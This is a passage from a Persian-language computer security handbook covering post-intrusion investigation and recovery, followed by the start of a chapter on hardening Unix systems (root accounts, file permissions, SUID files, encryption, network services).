بـراي مثـال ممكـن اسـت مهـاجم      . را بطور كامل بررسي كنيد، ولي بيشتر بدنبال تغييراتي باشيد كه روي امنيت تأثيرگـذار هـستند        
يـك نـسخة سـالم از يـك     . ي مخفي يا بمبهاي منطقي كار گذاشته باشد تا در آينده بتواند صـدماتي را بـه سيـستم وارد آورد                 دربها
  .تواند بسيار ارزشمند باشدكننده يکپارچگي و صحت فايلها و يك پشتيبان سالم از پايگاه دادة آن در اين مواقع ميافزار بررسي نرم

   جديدSGID و SUIDفايلهاي 
البته اگر انجام اينكار در سيـستم      (كنند   جديدي ايجاد مي   SGID و   SUIDآورند غالباً فايلهاي    اجماني كه دسترسي ابركاربر بدست مي     مه

  . جديدي ايجاد نشده باشندSUIDبعد از يك نفوذ، در سيستم خود جستجو كنيد تا مطمئن شويد فايلهاي ). تعريف شده باشد

                                                                                                                                            
342  High Speed Disk Duplicator 
343  Network Forensics Analysis Tools 
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  دستكاري فايلهاي دسترسي شبكه
ممكن است مهاجم اين فايلها را ايجاد كند يا فايلهاي موجود را به نحوي تغيير دهد که در آينده همچنان به سيـستم دسترسـي راه                          

 جديـدي در شـاخة   ssh/authorized_keys. يـا  rhosts.توانـد فايلهـاي     مي Unixبعنوان مثال مهاجم تحت     . دور داشته باشد  
home      هايي را در سطح سيستمي به فايل        هكاربران ايجاد كند، و يا رايان/etc/hosts.equiv    تمـام ايـن فايلهـا را       .  اضـافه نمايـد

  .بررسي كنيد و از ساير كاربران هم بخواهيد حتماً اينكار را انجام دهند

  اندازيدستكاري فايلهاي راه
شده يا در اثر برخي     ريزير زمانهاي برنامه  اندازي كاربران يا كل سيستم و يا فايلهايي كه د         مهاجم ممكن است محتويات فايلهاي راه     

  . تمام اين فايلها بايد به دقت بررسي شوند. را تغيير داده باشد) مثل ارسال خودكار نامه الكترونيكي(شوند رويدادها بطور خودكار اجرا مي

  دستكاري فايلهاي پيكربندي
كند، نـسبت بـه دسـتكاري       يك فايل پيكربندي استفاده مي    شود و از    هر سرويسي كه تحت حساب كاربري يك كاربر مجاز اجرا مي          

تمـام فايلهـاي پيكربنـدي    . پـذير قـرار دارد   در رأس فايلهاي پيكربندي آسـيب Windows Registry. پذير استاين فايل آسيب
  .شده بررسي شوندهاي سالم يا امضاهاي رمزگذاريسرويها بايد با استفاده از نسخه

  هاي مخفيفايلها و شاخه
شـده يـا   مهاجم ممكن است يك شاخة مخفي در رايانة شما ايجاد كرده باشد و از آن رايانه بعنوان مخزني بـراي اطلاعـات دزديـده            

  .كنند استفاده نمايددار ميهايي كه امنيت را خدشه برنامه

ختي بتوان آنرا كـشف يـا در خـط        كنند كه به س   مهاجمان معمولاً براي پنهان كردن فايلهاي خود در يك شاخه، از نامي استفاده مي             
نامهاي . تواند بفهمد درون آن چيست    بدين ترتيب يك راهبر مبتدي سيستم كه آن شاخه را كشف كند احتمالاً نمي             . فرمان وارد كرد  

مـشابه آن،  و يـا  ) نقطـه نقطـه فاصـله   " ( .."توان آنها را كشف يا وارد كرد معمولاً حاوي رشته كاراكترهايي چون فايلي كه به سختي مي
 unicodeتوان به   برخي كاراكترهاي اين قبيل نامها را مي      . ، يا ساير كاراكترهاي خاص هستند     backspaceكاراكترهاي كنترلي،   

كليد وارد كرد و نمايش آنها هم همانند كاراكترهاي الفبايي معمولي است، اما راهي براي وارد كردن معمولي آنها با استفاده از صفحه             
عامـل  ها است كه گويي جزئي مهم از سيـستم        روش برخي ديگر از مهاجمان نيز استفاده از نامهايي براي فايلها و شاخه            . وجود ندارد 

شوند و قدرت مانور كـاربران  ها دارند معمولاً در اين حقه گرفتار ميبراي شاخه" system"سيستمهاي فايلي كه صفت . (هستند و نبايد با آنها بازي كرد     
  ).كنندها محدود مييستم را در اين شاخهو راهبران س

  فايلهاي بدون مالك
توانـد وقتـي    اين مسئله مي  . گذارند كه مربوط به هيچ كاربر يا گروهي نيستند        گاهي اوقات، مهاجمان فايلهايي را در سيستم باقي مي        

نمايد، ولي فايلهاي مربوط بـه آنـرا         مي كند، حساب کاربري را پاك    اتفاق بيافتد كه مهاجم يك حساب كاربري و چند فايل ايجاد مي           
تغييـر  ) و نه از طريق سيستم فايل  (هاي خام روي ديسك را مستقيماً       تواند اين باشد كه مهاجم داده     يك احتمال ديگر مي   . گذاردباقي مي 

  . را به اشتباه عوض كرده استUIDداده و يك 

  اي جديدخدمات شبكه
كنند تا در آينده از طريق يك درب مخفـي بـه            اي نصب مي   شبكه daemonتعدادي  )  تهاجمي هايبرنامهو قطعه (بسياري از مهاجمان    

اسـتفاده  ) zombieبعنوان يك (شده دسترسي داشته باشند و يا از آن براي هدايت ميزبان در حمله به ميزبانهاي ديگر      ميزبان دستكاري 
شده پيدا كرد، امـا خـود ايـن         ستورات سيستمي ميزبان دستكاري   توان از خروجي د   هرچند وجود اين خدمات جديد را گاهي مي       . كنند

هاي جديد را با استفاده     daemonممكن است بتوانيد وجود     . شوند تا خروجي صحيحي توليد نكنند     دستورات نيز غالباً دستكاري مي    
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نظـر امنيتـي بهتـر اسـت هنگاميكـه        البتـه از    . (نشده روي همان شبكه دريابيد     يا پويشگر پورت ديگري از يك ماشين دستكاري        nmapاز  
  ).شده تحت بررسي قرار دارد، ارتباط آن با شبكه قطع باشدماشين دستكاري

هايي در حول و حوش زمـان حملـه         همچنين ممكن است لازم باشد تمام سيستم فايل را وارسي كنيد تا ببينيد به چه فايلها و شاخه                 
بـراي نمونـه اگـر كامپـايلر،        .  شما سرنخهايي از اينكه چه اتفاقي افتـاده بدهـد          انجام اينكار ممكن است به    . دسترسي پيدا شده است   

برنامـه را  توان نتيجه گرفـت كـه احتمـالاً مهـاجم يـك قطعـه      ها زمانهاي دسترسي نزديكي داشته باشند، مي     و كتابخانه  ٣٤٤باركننده
  . كامپايل كرده است

شود و ديگر نخواهيد توانست الگوهـاي  اش عوض مييد، زمان آخرين دسترسياگر فايلي را باز كنيد تا در آن به دنبال تغييرات بگرد         
كنيم كه تحقيقات خود را روي يك نسخه از ديسك كه بصورت فقـط خوانـدني                به همين دليل توصيه مي    . دسترسي را متوجه شويد   

mount   توانيد از اين قابليت اسـتفاده كنيـد كـه          افزار مناسب در اختيار نداريد، مي     اگر براي تهية نسخة دوم سخت     . شده انجام دهيد
احتمالاً (كنيد   mountخواندني  سيستم فايل را مجدداً بصورت فقط     هاي درحال استفادة    partitionدهند كه   اغلب سيستمها اجازه مي   

ين تنظيمـات هـم اجـراي       تحقيقات خود را از اين طريق انجام دهيد، اما به ياد داشته باشيد كه با ا               ). از طريق يك واسط كاربري بازگشتي     
مگـر اينكـه   (هاي مشترك و فايلهاي پيكربندي تغيير يابند دستورات باعث خواهد شد كه آخرين زمان دسترسي فايلها و تمام كتابخانه  

توانيد انجام دهيـد ايـن اسـت كـه ديـسكها را روي يـك                درنتيجه بهترين كاري كه مي    ). !كرده باشيد  mountرا مجدداً   ها  partitionهمه  
  .كنيد و بررسيهاي خود را در آنجا انجام دهيد mountخواندني  سيستم ديگر بصورت فقط

  به هيچ چيز جز نسخة چاپي اعتماد نكنيد

اگـر تغييـرات مـشكوكي در فايلهـاي         . توان اعتماد كرد  اگر سيستم شما دستكاري شده است به هيچ چيزي روي ديسكهاي آن نمي            
هاي سيستم خود را باور نكنيد، چون يك نفوذگر خوب ممكن است همـه چيـز رايانـه را    ز گفته رايانة خود مشاهده كرديد هيچكدام ا     

اي نصب كـرده باشـد كـه        هاي سيستمي را كامپايل و آنها را بگونه       هاي جديدي از برنامه   مهاجم ممكن است نسخه   . تغيير داده باشد  
اي عامـل رايانـه وصـله     تواند روي هستة سيـستم    مهاجم مي . ندهندعليرغم تغييرات گسترده، ابزارهاي استاندارد شما آنها را گزارش          

تواند ديسك را بصورت خام براي خوانـدن يـا نوشـتن    مهاجم همچنين مي. اعمال كند كه مكانيزمهاي امنيتي شما را غيرفعال نمايد      
 خاصي نياز ندارد، چراكه مهـاجم براحتـي         جالب آنكه انجام همة اينكارها معمولاً به مهارت       . باز كند ) بدون دخالت سيستم فايل   (مستقيم  

  .اند استفاده نمايدهايي كه توسط افراد با مهارت تهيه شدهrootkitتواند از مي

تواند چيزهايي كه روي كاغذ چاپ شده را تغييـر          تنها محدوديت در قدرت مهاجمي كه به وضعيت ابركاربر درآمده اين است كه نمي             
به همين دليل اگر امكانات ثبتي در اختيار داريد كه هنگام تغييريافتن تاريخِ سيستم، عمليات ثبت                . دهد، چراكه به آن دسترسي ندارد     

  . اي ديگر منتقل كنيد و سپس آنها را بطور منظم بررسي نماييددهد، ثبتها را به يك پايانة چاپگر يا رايانهرا انجام مي

عامـل خـود روي يـك ديـسك نـوري يـا          اندازي از سيـستم   نسخة قابل راه  براي اينكه خود را بيشتر محافظت كرده باشيد بايد يك           
انـدازي و وارسـي سيـستم خـود بـه      در اينصورت امكـان راه . سازي قابل حمل ديگر داشته باشيد   ديسك فشرده يا يك وسيلة ذخيره     

هـاي رمزنگـاري    پايگاه داده از خلاصـه    با در اختيار داشتن يك      . ايدكمك ابزارهايي كه از سلامت آنها اطمينان داريد را بوجود آورده          
هـا از روي   قادر خواهيد بود تغييرات فايلهاي مهم سيستم خود را تشخيص دهيد؛ بـه شـرطي كـه خلاصـه           ٣٤٥نخوردهفايلهاي دست 

د كنيد، چـون  توانيد به پشتيبانهاي خود اعتمابه ياد داشته باشيد كه لزوماً نمي. افزارها توليد شده باشند   نشدة نرم هاي دستكاري  نسخه
شـده  گيـري توزيـع   هاي پشتيبان توانيد از رسانه  دانيد نفوذ از چه زماني شروع شده است، اما براي مقابلة نسبي با اين نگراني مي               نمي

  .استفاده نماييد

                                                                                                                                            
344  Loader 

  .افزار اختصاصي خودتان را تهيه نماييد استفاده كنيد يا يك نرمtripwireتوانيد از براي اين منظور مي   ۳۴۵
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، و آنهـا را     )بكهمثلاً ثبتهاي رايانه و ش ـ    (قدم بعدي اين است كه يك نسخة چاپي از تمام ثبتهاي لازمي كه در دسترس داريد تهيه كنيد                   
همچنين بايـد بفهميـد كـه آيـا از زمـان ورود نفـوذگر، در                . بررسي نماييد تا بفهميد نفوذگر چه كارهاي غيرمجازي انجام داده است          

هايي اجرا كرده و چه اعمـالي انجـام داده   توانند در فهم اينكه نفوذگر چه برنامه     اين ثبتها مي  . سيستم اتفاق غيرعادي رخ داده يا خير      
  .هاي چاپي را حتماً يك به يك تاريخ و امضا بزنيدفراموش نكنيد كه برگه. ست به شما كمك كنندا

در يك مورد نمونه، مدارك نشان دادند كه نفوذ واقعـي           . به خاطر داشته باشيد كه زمان كشف يك نفوذ لزوماً زمان شروع آن نيست             
افزار قابل اعتمادي روي سيـستم  عد از اين مدت هيچ پشتيبان و نرم       طبيعي است كه ب   ! از دو سال قبل از كشف شدن شروع شده بود         

در اين مورد ! ها و ارتقاهادادند؛ از جمله نصب وصلهدر واقع نفوذگران در طول اين مدت تغييرات زيادي در سيستم مي         . وجود نداشت 
  !نددادتوان گفت نفوذگران كار راهبري را بهتر از مسئول يا مسئولين آن انجام مي مي

  شروع مجدد كار

اينكه با چه سرعتي بايـد كـار را آغـاز كنيـد، و در دراز      . گام بعدي در رسيدگي به يك نفوذ، بازگرداندن سيستم به حالت كاري است            
  .شدن اين گام هستندكنندة زمان و چگونگي انجاممدت قصد داريد چه كاري در مورد اين نفوذ انجام دهيد، تعيين

انجام شود اين است كه اطمينان حاصل كنيد تمام صدمات وارده را ترميم كرده و آن نقايصي كـه بـه مهـاجم    حداقل كاري كه بايد   
  .توانيد سيستم را به حالت كاري بازگردانيدپس از آن چنانچه بدرستي پشتيبان گرفته باشيد مي. ايداند را از بين بردهاجازة ورود داده

هـاي نـاچيزي وجـود دارد كـه     اجازه ورود پيدا كند مشكل است، چراكـه در ثبتهـا داده       تشخيص اينكه چه چيزي باعث شده مهاجم        
رسـد  بنظـر مـي  . نشاندهدة ماوقع باشند و ابزار توانمندي نيز در دست نيست كه با استفاده از آن بتوان نفوذ را مهندسي معكوس كرد  

شدن رمزهاي عبـور    حتماً امكان دزديده  . (بور مسروقة كاربران باشند   افزارها و در موارد كمتري رمزهاي ع      بيشتر نفوذها نتيجة اشكالات نرم    
  ).اندبان ترافيك نصب كردهبينيد نفوذگران روي سيستم شما ديدهرا در نظر داشته باشيد، خصوصاً اگر مي

هنـوز بطـور    اگر نفوذ از يك اشكال ناشي شود ممكن است كشف آن براي شما دشوار باشد، بخصوص اگر اشكال جديدي باشد كه                      
  :در اين مورد چند پيشنهاد داريم. برداري قرار نگرفته استگسترده مورد بهره

ايد، با سيستم تحليل خود آنرا وارسي كنيد تا ببينيد آيا هـيچ قـسمت آن نامـأنوس و يـا                     اگر ترافيك شبكة خود را ذخيره كرده       .١
  غيرقابل توجيه است يا خير؛

 ها بگرديد؛ وعادي، الگوهاي فعاليتي غيرمعمول، يا مداركي دال بر خراب شدن برنامهدر فايلهاي ثبت خود بدنبال موارد غير .٢

دانيد، در تمام فايلهاي ثبت خود بـدنبال يـافتن سـوابق آن              خاصي را كه مهاجم بعنوان مبدأ حمله بكار برده مي          IPاگر آدرس    .٣
  .آدرس باشيد

توانيد براي مشورت بـا توليدكننـدة آن تمـاس          ي باعث نفوذ شده مي    افزار سيستم اگر مشكوك به اين هستيد كه اشكالي در يك نرم         
در بسياري موارد اگر قرارداد شما با فروشندگان شامل پشتيباني پـس            . حلي براي مشكلهاي رايج دارند    بگيريد؛ چراكه آنها معمولاً راه    

  .بخش بودن اين تماس اميدوار باشيدتوانيد از قبل به نتيجهاز فروش هم بشود و يا شما يك مشتري عمدة آنها باشيد مي

پـذيريهاي جديـد    معمولاً آسيب . توانيد نگاهي نيز به مطالب جديد پايگاههاي وب و فهرستهاي پستي گروههاي امنيتي بياندازيد             مي
گاهها اشتباه يـا  آيد كه اطلاعات درون اين پاي  در برخي موارد نيز پيش مي     . گيرنددر اين مكانها با جزئيات زيادي مورد بحث قرار مي         

  . خوانيد باشيدخطرناك هستند؛ و بنابراين بسيار مراقب آنچه كه مي

 معمولاً ديد خوبي نـسبت بـه نفوذهـاي          FIRSTتيمهاي  .  تماس بگيريد  FIRSTدر نهايت ممكن است بخواهيد با يك تيم خوب          
تواند نتـايج خـوبي    با نمايندة يكي از اين تيمها مي  در تماس بودن  . جديد دارند، كه دليل عمدة آن گزارشهاي زياد دريافتي آنها است          

به همراه داشته باشد و در مورد اينكه چه چيزهايي را بايد قبل از بازگرداندن سيستم به كار وارسـي كنيـد بـراي شـما راهنماييهـاي           
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اً اطلاعـات زيـادي در مـورد        تواننـد صـراحت   با اين وجود بعضي تيمهـا قـوانيني دارنـد كـه طبـق آن نمـي                . اي به ارمغان آورد   ارزنده
پذيريهاي روز در اختيار كسي قرار دهند تا به توليدكنندة مربوطه اين فرصت را داده باشند كه اصلاح مربـوط بـه آنـرا منتـشر                           آسيب
  . درنتيجه اين احتمال وجود دارد كه نتوانيد اطلاعات كاملي از اين منابع بدست آوريد. كند

  كنترل خسارتها

در درجـة اول  . ايد، بررسي كنيد و ببينيد چه خسارتهاي ديگري وجود دارند كه بايد آنها را كنترل كنيدرا ترميم كردهاگر سيستم خود    
بـراي مثـال آيـا در جريـان نفـوذ از      . بايد به سراغ تأثيرات بعدي يك نفوذ رفت و هرگونه عواقب تبهكارانة نفـوذ را در نظـر گرفـت       

؟ اگر آري، بايد با مشاور رسمي خود مشورت كنيد و تصميم بگيريد كـه در ايـن مرحلـه                    برداري شده است  اطلاعات خصوصي نسخه  
  .خواهيد چه كاري انجام دهيدمي

  :خواهيد چه كاري انجام دهيدبايد تعيين كنيد كدام يك از نگرانيهاي زير را بايد بيشتر مورد توجه قرار دهيد و در مورد هريك مي

مي در دواير اجراي قانون، يك دفتر حقـوقي، يـك شـركت بيمـه، يـا نـزد توليدكننـدگان و                      آيا نياز به تشكيل يك پروندة رس       .١
  فروشندگان محصولات مورد استفادة خود داريد؟

آيا بايد يك يا چند كارمند سازمان خود را اخراج كنيد يا در مورد آنها قوانين انضباطي اعمال كنيد؟ آيا براي جلوگيري از وقوع                         .٢
 ر آينده بايد كارمندان خود را تحت آموزش قرار دهيد؟رخدادهاي اينچنيني د

 خود براي استفاده از تجربيات اين واقعه هستيد؟" ترميم از سوانح"روزرساني طرح آيا نيازمند به .٣
 افزارها يا پيكربندي سيستمهاي تحت كنترل خود يا ساير پايگاههاي وابسته داريد؟آيا نياز به بازرسي و اصلاح نرم .٤
 منتشر كند؟) در داخل يا خارج از سازمان(روابط عمومي شما بايد در اين رابطه يك گزارش رسمي آيا ادارة  .٥

  .تواند كاملاً متفاوت باشدپاسخهاي شما سؤالات بالا بسته به موقعيت سازمان و اهميت رخداد امنيتي مي
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  فصل دهم
  نكات ويژة بسترهاي مختلف

  كليات
هاي فنـي خـاص بـراي       در اين بخش به توصيه    . عامل بكار رود  افزار يا سيستم  ي هر نوع سخت   تواند برا بيشتر مطالب اين كتاب مي    

 در قـسمت  MacOS Xمطالـب مربـوط بـه    . (پردازيم ميMacOS 7-9، و Linux ،Microsoft Windowsو  Unixعاملهاي سيستم
  ).اند گنجانده شدهUnixمربوط به 

Unix ٣٤٦عاملهاي مشابهو سيستم  
 از ايستگاههاي كاري    هاييcluster در محيطهاي بزرگ، چندكاربره، اشتراك زماني، و يا در           Unixمهاي مبتني بر    در گذشته سيست  

 بصورت روزافزوني بعنوان ايستگاههاي كـاري يـا      Unixامروزه سيستمهاي مبتني بر     . شدنداي آرايش داده مي   با سيستم فايل شبكه   
  . گيرندر ميكاربره مورد استفاده قراهاي تكدهندهسرويس

 وجود دارند، بسياري از مكانيزمهاي امنيتي بـراي كـاربرد روي            Unixعاملهاي مشابه   هاي مختلف زيادي از سيستم    از آنجاكه نسخه  
.  خاصي كه مـورد اسـتفادة شـما اسـت را بخوانيـد             Unix و شما بايد توضيحات مربوط به نسخة          اختصاصي است  ،Unixهر نسخة   

  .اند در ضميمة دوم تا پنجم كتاب آورده شدهUnixو فهرستهاي خوب پستي مربوط به امنيت چندين كتاب، پايگاه وب، 

  كاربران، گروهها، و ابركاربر

هـا،  تمـام فايلهـا و پـردازه    Unixدر .  بر پاية جداسازي كاربران و گروههاي كاربري از يكديگر است     Unixاي از امنيت    بخش عمده 
هـيچ دو كـاربري نبايـد از يـك          . كنندة امتيازات دسترسي آنها اسـت     مؤثر دارند كه مشخص   يك شناسة گروه و يك شناسة كاربري        

شناسة كاربري واحد يا حساب كاربري مشترك استفاده كنند؛ بلكه حسابهاي كاربري بايـد مجـزا باشـند و در مـواردي كـه حقـوق                          
  .استفاده شود" گروههاي كاربري"دسترسي فايلها براي تعدادي از كاربران يكسان است بايد از 

است و معمولاً توانـايي ايجـاد تغييـر در هـر جنبـة              " ابركاربر) "باشد آن برابر صفر مي    UIDكه   (root كاربر   ،Unixدر سيستمهاي مشابه    
هـايي كـه بـا امتيـازات         و پـردازه   root محافظت از حساب كاربري      Unixبا توجه به اين امر، در امنيت سيستمهاي         . سيستم را دارد  

root از بكاربردن حساب كاربري     . اي برخوردار است  شوند از اهميت ويژه   جرا مي  اroot           براي انجـام فعاليتهـاي روزمـره و معمـولي 
يـا   (su، از دسـتور  rootاجتناب كنيد، و امکان ورود آن به سيستم را غيرفعال سازيد و هنگام نيـاز بـه اسـتفاده از حـساب كـاربري                  

اده نماييد تا بتوانيد سطح دسترسي خود را از سطح يک حساب كاربري معمولي به سـطح دسترسـي                 استف) sudoهاي ديگر آن مثل      گونه
توانيد از ثبت استفاده كنيد و هم مهاجم مجبور خواهـد بـود بـراي در اختيـار                  با اين روش هم مي    .  تبديل کنيد  rootحساب كاربري   

 را نيز بايد محـدود كنيـد؛        suاست كه استفاده از دستوراتي مانند       واضح  . گرفتن دسترسيِ ابركاربر، دو حساب كاربري را تسخير كند        
  . استفاده كنندsuتوانند از  ميwheelدر برخي سيستمها فقط كاربران گروه 

                                                                                                                                            
ايـن  امـا   ،  شـده اسـت    اسـتفاده    Unix ة واژ زامعمولاً  هرچند  . اندرفته به يك معني بكار      "Unixمبتني بر   سيستمهاي  " و   "Unix"عبارتهاي   قسمتدر سرتاسر اين       ۳۴۶

  .هستنداستفاده  نيز قابل Unixهاي  و ساير گونهLinuxاطلاعات براي 
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 را با استفاده از قابليتها يا سطوح امنيتي         rootتوانند در حالت عادي اجراي سيستم، اختيارات كاربر          حتي مي  Unixهاي  بعضي نسخه 
اگـر  . مستندات محصول خود را مورد بررسي قرار دهيد و اگر از اين قابليت برخوردار است از آن استفاده نماييـد                   . دود كنند هسته مح 

هـاي قابـل حمـل نگهـداري كنيـد تـا درصـورت              اي حساسي داريد بهتر است آنها را رمزگذاري و از آنهـا روي رسـانه              فايلهاي داده 
توجه كنيد كه اگر برنامـة رمزگـشايي نيـز روي همـان سيـستم               . نها جلوگيري كرده باشيد   ، از لو رفتن آ    rootشدن حساب   دستكاري

توانـد بـا اسـتفاده از آن        اي ندارد، چون مهاجمي كه دسترسي ابركاربري داشـته باشـد مـي            وجود داشته باشد، رمزگذاري فايلها فايده     
  .شده از فايلها را نيز بدست آوردبرنامه، يك نسخة رمزگشايي

  سيستمهاي فايلامنيت 

براي تعيين اينكه مالك فايل، اعضاي گـروه فايـل و سـاير افـراد چـه كارهـايي                   . دارد" گروه"و يك   " مالك" يك   Unixهر فايل در    
تواند براي انجام آن مجوز داشـته باشـد         كارهايي كه يك كاربر مي    . شود استفاده مي  chmodتوانند با فايل انجام دهند از دستور         مي

ها براي اين اسـتفاده     از مجوزهاي شاخه  . خواندن محتويات فايل، نوشتن در فايل و اجراي فايل بعنوان يك برنامة اجرايي            عبارتند از   
نحـوة  . تواند فايلهاي درون شاخه را ببيند و يك فايل را از شاخه حذف يـا بـه آن اضـافه كنـد                     شود كه تعيين كنند چه كسي مي      مي

  . براي نمايش اطلاعات دسترسي فايلها را بياموزيدlsراي كنترل دسترسي به فايلها و  بchmod و chown ،chgrpاستفاده از 

كنـد  هـايي كـه كـاربر ايجـاد مـي         مقدار اين متغير براي فايلها و شـاخه       .  يك مقدار دارد   Unix به ازاي هر كاربر در       umaskمتغير  
برنامة ورود كاربران اسـتفاده كنيـد تـا از مقـدارگيري            طعه در ق  umaskتوانيد از دستور    مي. نمايدفرض را تعيين مي   مجوزهاي پيش 

 درون گروه كاربر، اجازة خواندن و اجرا و نه ايجاد تغييـر  ٣٤٧سايرين فقط به 027مثلاً مقدار  . مناسب آن براي كاربران مطمئن باشيد     
  .دگير جلوي دسترسي همه به فايلها به جز خود كاربر را مي077دهد و مقدار در فايلها را مي

تـوان اجـازه و     ها مي ACLبا  . دقيقتري براي فايلها دارند   ) ACL( امكان تعريف فهرستهاي كنترل دسترسي       Unixبرخي سيستمهاي   
 را دارد،   ACLاگر سيستم شـما امكـان اسـتفاده از          . عدم اجازة تك تك كاربران در خواندن، نوشتن، و اجراي فايلها را مشخص كرد             

  .ا بياموزيدنحوة عملكرد و استفاده از آنر

يك فايل تغييرناپذير را حتـي بـا        . براي فايلها دارند  " كردنياضافه فقط"و  " تغييرناپذير" امكان تعريف صفات     Unixبرخي سيستمهاي   
) و نـه دسترسـي راه دور      (توان تغيير داد، مگر آنكه سيستم را در حالـت امنيـت پـايين و از طريـق خـود پايانـة آن                         هم نمي  rootكاربر  

توان مطالبي به انتهاي فايل اضافه كرد و اين فايلها به شـكل ديگـري               تنها مي  كردنيدر فايلهاي فقط اضافه   . ازي كرده باشيد  اند راه
اگر سيستم شما اين قابليتها را دارد       . باشندفايلهاي ثبت كانديداهاي خوبي براي استفاده از اين صفت مي         . قابل تغيير يا حذف نيستند    

  .داز آنها استفاده كني

شوند و نه كاربري كه خود اجرا مي" مالك"باشند با دسترسيهاي شناسة كاربري ) setuid) SUID فايلهايي كه داراي مجوز Unixدر  
دارنـد و بـه   ) rootمعمـولاً  (تواند دستوراتي اجرا كند كه نياز به امتيازات يك كاربر ديگر  ميSUIDكاربر فايلهاي . كندآنها را اجرا مي   

شوند و   با دسترسيهاي گروهيِ گروه خود اجرا مي      ) setgid) SGIDفايلهاي  . باشندپذيري مي اين فايلها يك نقطة آسيب    همين دليل   
 سيستم خود را بررسي كنيد و مطمئن شويد كـه           SGID و   SUIDشما بايد متناوباً فايلهاي     . كندنه گروه كاربري كه آنها را اجرا مي       

. شود همواره يـك نـسخة چـاپي از آنهـا داشـته باشـيد              پيشنهاد مي . كنند با اين مجوزها كار مي     دانيد چرا در مورد هريك از آنها مي     
تـوان  برخـي سيـستمهاي فايـل را مـي        .  ننويـسيد  SGID يا   SUIDاي را بصورت    هاي پوسته برنامهخودتان هيچگاه برنامه يا قطعه    

هاي كاربران و   كردن شاخه  nosuid .(Mountبصورت  (شد   در آنها غيرفعال با    SGID و   SUID كرد كه قابليتهاي     mountاي  بگونه
  .پذيري استحل مناسبي براي مقابله با اين آسيبساير بخشهاي غيرسيستمي به اين صورت راه

                                                                                                                                            
347  Others 
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Unix    تـوان بـه چاپگرهـا، پورتهـاي سـريال، ديـسكهاي            براي مثال مي  . كنداي بصورت يك فايل برخورد مي     با تمام وسايل رايانه
 وجود دارند،   dev/هرچند فايلهاي وسيله عموماً در شاخة       .  دسترسي داشت  ٣٤٨فايلهاي وسيله فظة سيستم از طريق     سخت، و حتي حا   

اگر يك كاربر غيرمجاز بتواند از حافظـة        . تواند آنها را در هر جايي بسازد      مي) معمولاً ابركاربر (اما كاربري كه داراي امتيازات كافي باشد        
توانـد  لاعات حساس ساير كاربران دسترسي پيدا كند؛ و اگـر بتوانـد در حافظـة سيـستم بنويـسد، مـي      تواند به اطسيستم بخواند، مي  

كننـد و   هـاي ديـسك را دسـتكاري مـي        داده) بدون دخالت سيـستم فايـل     (در مورد وسايلي كه بصورت خام       . سيستم را دستكاري نمايد   
سيستم خود را وارسي كنيد و مطمئن شـويد كـه مالكيـت و      . ال كرد بسياري از ساير انواع وسايل نيز بايد احتياطهاي مشابهي را اعم          

كه وسايل در آن غيرفعال باشد       كنيد   mountاي  توانيد سيستم فايل خود را بگونه     اگر مي . مجوزهاي فايلهاي وسيله، صحيح هستند    
سيـستمها يـك فايـل بـه نـام      در برخـي  . از ايـن ويژگـي اسـتفاده نماييـد    در شرايطي كه امكـان آن وجـود دارد         ،  )nodevبـصورت   (

logindevperm   يا fbtab   شـود، مجوزهـاي   وارد رايانه مي) و نه از راه دور(كند وقتي كاربري از خود پايانه  وجود دارد كه كنترل مي
اگـر چنـين   ).  نظـر بگيـرد  مثلاً براي جلوگيري از اينكه يك كاربر راه دور نتواند ميكروفون را روشن كند و اتاق را تحت   (كنند  وسايل چگونه تغيير مي   

  .فايلي در سيستم وجود دارد از تنظيمات صحيح آن اطمينان حاصل كنيد

  رمزگذاري

 يـا   rot13از  . ها وجود دارند، ولي بـراي رمزگـذاري مناسـب نيـستند            براي غيرقابل خواندن كردن داده     Unixدستورات متعددي در    
crypt      سيستمهاي زيادي با استفاده از دستور       در  . شوند استفاده نكنيد، چون براحتي شكسته ميdes هـاي  هـا و كتابخانـه   يا برنامـه

openssl توانيد به دسـتور     ها مي براي استحکام بيشتر سرجمع   . توان به يك روش رمزگذاري مستحكم دست يافت          ميsum   اتكـا 
  .اييد استفاده نمopenssl، يا md5 ،md5sumهاي رمزنگاري از نكنيد و درعوض براي توليد خلاصه

  TCP/IPهاي شبكه

) xinetdيـا    (inetdبـسياري از خـدمات شـبكه توسـط          . شـود  براي كاربردها و خدمات شبكه استفاده مي       Unixغالباً از سيستمهاي    
 را بررسي كنيد و خدمات غيرضروري را غيرفعال نماييد؛ سـاير خـدمات را بـا    daemonفايلهاي پيكربندي اين  . شونداندازي مي   راه

  . پشتيباني كندTCP خودش از پوششهاي inetd محافظت كنيد، مگر در حالتي كه tcpd به نام daemon tcpwapperيک 

 etc/rc/ يا فايلهـاي     etc/rc*.d/ يا   etc/init.d/هاي  شدن سيستم، ساير خدمات شبكه از طريق فايلهاي درون شاخه           هنگام روشن 
كه در رابطـه     fingerdبه خدماتي مثل    . كنيد آنرا غيرفعال سازيد   استفاده نمي اگر از سرويسي    . شونداندازي مي  راه etc/rc.local/و  

  .دهند توجه خاص داشته باشيدبا سيستم يا كاربران آن به افراد بيروني اطلاعات مي

 از  بـراي اطـلاع   . ها بايد ديوارة آتش مبتني بر ميزبان مخصوص به خـود را داشـته باشـد                براي غربال كردن بسته    Unixهر سيستم   
ابزارهاي معمول پيكربندي ديوارة آتش عبارتنـد از        . وجود و نحوة بكارگيري ديوارة آتش در سيستم خود به مستندات آن رجوع كنيد             

ipfw  ،ipchains   و iptables . هـايي اجـازه عبـور دهنـد كـه          هاي آتش را بايد طوري تنظيم كرد كـه فقـط بـه بـسته              اين ديواره
براي جلوگيري از دسترسي افراد بيروني به پروتكلها و خدماتي كه درون سازمان             . اهيد ارائه دهيد  خومقصدشان خدماتي باشد كه مي    

درصـورت  . نيز بايد يك ديوارة آتش خارجي به كـار گرفتـه شـود            ) SNMP  ،NFS  ،NTP  ،LPD  ،Samba  ،RIPمانند  (دهيد  خود ارائه مي  
  . استفاده كنيد٣٤٩مسيريابي ايستاامكان از 

 مشتري و يا با رمزهاي عبوري كه بـصورت  IPستاندارد زيادي براي انجام تصديق هويت از نام ميزبان يا آدرس در گذشته خدمات ا   
ها بايد از رويكردهـاي     برنامه. هيچكدام از اين روشها امن نيستند     . كردندشدند استفاده مي  ساده روي اتصالات شبكه فرستاده مي     متن

هـاي زيـادي را     امروزه تصديق هويت برنامـه    . عمومي براي تصديق هويت استفاده كنند     رمزنگاري با كليدهاي مشترک يا كليدهاي       
كه داراي يك مكـانيزم مـستحكم بـراي         ) ssh(تا بجاي همة آنها از پوستة امن        ) telnet  ،rlogin  ،rcp  ،rsh  ،ftp(توان غيرفعال كرد    مي

                                                                                                                                            
348  Device Files 
349  Static Routing 

https://telegram.me/karnil
www.karnil.com


